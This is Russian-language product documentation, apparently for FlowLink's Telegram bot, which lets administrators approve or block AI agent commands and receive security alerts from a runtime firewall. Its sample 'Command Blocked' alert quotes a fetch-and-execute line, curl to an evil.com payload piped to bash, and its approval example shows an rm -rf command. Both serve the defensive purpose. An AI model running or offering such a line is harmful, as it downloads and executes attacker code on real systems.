Telegram Bot
Управление одобрением команд и получение security-алертов прямо в Telegram
~10 мин чтения
Обзор
Telegram Bot от FlowLink — это мобильный интерфейс Runtime AI Firewall для одобрения команд и получения security-уведомлений. Бот позволяет approve/reject команды в реальном времени через inline-кнопки, отслеживать состояние агентов и мгновенно реагировать на инциденты безопасности — всё с телефона.
✅ Одобрение команд
Approve / reject в один клик
🔔 Security-алерты
Мгновенные уведомления об угрозах
👥 Multi-user
Несколько администраторов
🔒 Безопасность
Шифрование токена, верификация ID
Настройка
Для подключения Telegram Bot выполните следующие шаги:
Шаг 1 — Создание бота через @BotFather
Откройте Telegram, найдите @BotFather и отправьте команду /newbot. Задайте имя и username для бота. BotFather вернёт токен вида:
11234567890:ABCdefGHIjklMNOpqrsTUVwxyz
Шаг 2 — Получите свой Telegram User ID
Напишите боту @userinfobot или @getmyid_bot — он вернёт ваш числовой ID. Этот ID нужен для авторизации в FlowLink.
1Your Telegram ID: 987654321
Шаг 3 — Настройте FlowLink
Добавьте токен бота и User ID в конфигурацию FlowLink:
1# flowlink.yaml2telegram:3 enabled: true4 bot_token: "1234567890:ABCdefGHIjklMNOpqrsTUVwxyz"5 allowed_users:6 - 9876543217 - 111222333 # additional admin8 webhook_url: "https://your-flowlink.example.com/telegram/webhook"9 alert_chat_id: 987654321
Шаг 4 — Проверка подключения
После запуска FlowLink отправьте /start вашему боту. Вы должны получить приветственное сообщение с кнопками:
1$ flowlink-relay telegram test23✅ Telegram bot connected4📡 Webhook set: https://your-flowlink.example.com/telegram/webhook5👤 Authorized users: 26🟢 Bot @flowlink_ai_sales_bot is active
Команды бота
Бот поддерживает следующие команды (доступны через / в чате):
/startЗапустить бота, показать главное меню и статус подключения/statusОбщий статус системы FlowLink: количество агентов, активных соединений, текущие alert-уровни/approveСписок ожидающих одобрения команд с кнопками ✅/❌ для каждого/rejectОтклонить команду по ID (запрашивает комментарий)/agentsСписок всех подключённых агентов с HEALTH/VERSION/UPTIME/recentПоследние 10 событий: одобрения, блокировки, алерты/helpСправка по всем командам и настройкам ботаПример использования
1# Проверить статус2/status34→ 🟢 FlowLink Status5 Agents: 5 (3 online)6 Pending approvals: 27 Alerts (24h): 1289# Список агентов10/agents1112→ 📡 Connected Agents13 1. prod-api-01 🟢 healthy v2.4.1 uptime: 14d 3h14 2. prod-api-02 🟢 healthy v2.4.1 uptime: 14d 3h15 3. staging-01 🟡 warning v2.3.9 uptime: 2d 7h
Approval Workflow
Когда FlowLink перехватывает команду с высоким риском, бот отправляет уведомление в Telegram с inline-кнопками для быстрого одобрения или отклонения.
AI-агент отправляет команду (например, rm -rf /tmp/logs)
FlowLink анализирует команду и определяет risk score
Если risk score > порога — команда ставится на hold
Telegram Bot отправляет уведомление администратору
Администратор нажимает ✅ Approve или ❌ Reject
Бот запрашивает опциональный комментарий
Результат возвращается агенту — команда выполняется или блокируется
Пример уведомления
1🚨 Approval Required23Command: rm -rf /tmp/logs4Agent: prod-api-01 (10.0.1.5)5Risk Score: 8.2 / 106Policy: requires_approval7Timestamp: 2025-01-15 14:32:0789[✅ Approve] [❌ Reject]
После нажатия кнопки бот запрашивает опциональный комментарий. Комментарий сохраняется в audit log FlowLink.
Alerts
Бот отправляет security-уведомления в реальном времени для следующих событий:
Команда заблокирована
Команда была автоматически заблокирована политикой безопасности. Содержит детали команды, агента и причину блокировки.
Высокий risk score
Команда получила высокий балл риска, но не была заблокирована (monitoring mode). Требует внимания.
Canary сработал
Обнаружена попытка доступа к canary-файлу или canary-учётным данным. Возможная компрометация.
Агент offline
Агент потерял связь с FlowLink relay. Возможная проблема с сетью или компрометация.
Нарушение политики
Срабатывание policy rule: превышение лимита, запрещённая операция, нарушение compliance.
Формат алерта
1🛑 Command Blocked23Command: curl http://evil.com/payload.sh | bash4Agent: dev-sandbox-03 (10.0.3.7)5Risk Score: 9.5 / 106Reason: outbound_shell_execution7Policy: block_dangerous_commands8Timestamp: 2025-01-15 14:35:22
Multi-user
FlowLink поддерживает несколько Telegram-пользователей для одобрения команд. Все авторизованные пользователи получают уведомления, и любой из них может approve/reject команду.
1# flowlink.yaml2telegram:3 enabled: true4 bot_token: "1234567890:ABCdefGHIjklMNOpqrsTUVwxyz"5 allowed_users:6 - 987654321 # Alice (Security Team Lead)7 - 111222333 # Bob (DevOps)8 - 444555666 # Charlie (On-call engineer)9 approval_mode: "any" # "any" | "all" | "quorum:2"
anyЛюбой авторизованный пользователь может approveallВсе пользователи должны approvequorum:NМинимум N пользователей для approveГрупповой чат
Вы можете направлять алерты в Telegram-группу для коллективного мониторинга. При этом approve/reject-действия принимаются только в личных сообщениях с ботом (DM) для безопасности.
1# flowlink.yaml2telegram:3 enabled: true4 bot_token: "1234567890:ABCdefGHIjklMNOpqrsTUVwxyz"5 allowed_users:6 - 9876543217 # Алерты отправляются в группу8 alert_chat_id: -10012345678909 # Approvals только в DM10 approval_mode: "dm_only"
⚠️ Важно
Для настройки группового чата: добавьте бота в группу, получите chat_id (отправьте сообщение и используйте /api/v1/telegram/status), укажите его в alert_chat_id. Inline-кнопки в группе будут отображаться, но callback-обработка будет отклонена — approve/reject доступны только в DM.
API
FlowLink предоставляет API для управления и мониторинга Telegram-интеграции:
GET/api/v1/telegram/statusВозвращает текущий статус Telegram-интеграции.
1{2 "enabled": true,3 "bot_connected": true,4 "bot_username": "@flowlink_ai_sales_bot",5 "webhook_set": true,6 "webhook_url": "https://flowlink.example.com/telegram/webhook",7 "authorized_users": [987654321, 111222333],8 "pending_approvals": 3,9 "alerts_sent_24h": 47,10 "last_activity": "2025-01-15T14:32:07Z"11}
POST/api/v1/telegram/testОтправляет тестовое сообщение всем авторизованным пользователям.
1$ curl -X POST https://flowlink.example.com/api/v1/telegram/test \2 -H "Authorization: Bearer $FLOWLINK_TOKEN"34{5 "success": true,6 "messages_sent": 2,7 "failed": 08}
Безопасность
Telegram-интеграция спроектирована с учётом требований безопасности:
🔒 Шифрование токена
Bot token хранится в зашифрованном виде в конфигурации FlowLink (AES-256-GCM). В логах токен никогда не отображается полностью — только последние 4 символа.
🔒 Только DM для approve/reject
Inline-кнопки approve/reject обрабатываются только в личных сообщениях с ботом. Callback-запросы из групп автоматически отклоняются.
🔒 Верификация User ID
Бот проверяет Telegram User ID каждого сообщения/коллбэка. Пользователи, не указанные в allowed_users, не получают ответ и их действия игнорируются.
🔒 Audit Log
Все действия через бота (approve, reject, команды) записываются в audit log FlowLink с указанием user ID, timestamp и деталей.
🔐 Совет
Регулярно проверяйте список allowed_users и удаляйте бывших сотрудников. Используйте approval_mode: "quorum:2" для критичных окружений.